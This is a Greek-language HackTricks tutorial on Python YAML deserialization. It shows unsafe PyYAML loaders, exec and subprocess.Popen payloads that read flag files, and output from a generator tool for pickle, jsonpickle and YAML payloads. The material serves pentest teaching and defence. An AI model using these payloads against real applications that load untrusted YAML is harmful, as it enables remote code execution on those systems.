Python Yaml Deserialization

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Yaml Deserialization

Yaml βιβλιοθήκες python είναι επίσης ικανές να σειριοποιούν αντικείμενα python και όχι μόνο ακατέργαστα δεδομένα:

print(yaml.dump(str("lol")))
lol
...

print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l

print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1

Ελέγξτε πώς το tuple δεν είναι ένας ακατέργαστος τύπος δεδομένων και επομένως έχει serializied. Και το ίδιο συνέβη με το range (που προέρχεται από τα builtins).

safe_load() ή safe_load_all() χρησιμοποιεί SafeLoader και δεν υποστηρίζει την αποσειριοποίηση αντικειμένων κλάσης. Παράδειγμα αποσειριοποίησης αντικειμένων κλάσης:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'

print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>

#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object

Ο προηγούμενος κώδικας χρησιμοποίησε unsafe_load για να φορτώσει την σειριοποιημένη python κλάση. Αυτό συμβαίνει επειδή στην έκδοση >= 5.1, δεν επιτρέπει να αποσειριοποιηθεί καμία σειριοποιημένη python κλάση ή χαρακτηριστικό κλάσης, με Loader που δεν έχει καθοριστεί στο load() ή Loader=SafeLoader.

Βασική Εκμετάλλευση

Παράδειγμα για το πώς να εκτελέσετε έναν ύπνο:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))

Ευάλωτο .load("<content>") χωρίς Loader

Παλαιότερες εκδόσεις του pyyaml ήταν ευάλωτες σε επιθέσεις απο-σειριοποίησης αν δεν καθορίζατε τον Loader κατά την φόρτωση κάποιου: yaml.load(data)

Μπορείτε να βρείτε την περιγραφή της ευπάθειας εδώ. Η προτεινόμενη εκμετάλλευση σε αυτή τη σελίδα είναι:

!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec

Ή μπορείτε επίσης να χρησιμοποιήσετε αυτήν την μία γραμμή που παρέχεται από τον @ishaack:

!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}

Σημειώστε ότι στις πρόσφατες εκδόσεις δεν μπορείτε πλέον να καλέσετε το .load() χωρίς έναν Loader και ο FullLoader δεν είναι πλέον ευάλωτος σε αυτήν την επίθεση.

RCE

Μπορούν να δημιουργηθούν προσαρμοσμένα payloads χρησιμοποιώντας Python YAML modules όπως το PyYAML ή το ruamel.yaml. Αυτά τα payloads μπορούν να εκμεταλλευτούν ευπάθειες σε συστήματα που αποδομούν μη αξιόπιστη είσοδο χωρίς κατάλληλο καθαρισμό.

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess

class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))

deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)

#!!python/object/apply:subprocess.Popen
#- ls

print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))

Tool to create Payloads

Το εργαλείο https://github.com/j0lt-github/python-deserialization-attack-payload-generator μπορεί να χρησιμοποιηθεί για να δημιουργήσει python deserialization payloads για να εκμεταλλευτεί Pickle, PyYAML, jsonpickle και ruamel.yaml:

python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!

cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}

cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==

cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt

Αναφορές

• https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf

• https://net-square.com/yaml-deserialization-attack-in-python.html

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Υποστήριξη HackTricks

• Ελέγξτε τα σχέδια συνδρομής!

• Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.

• Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.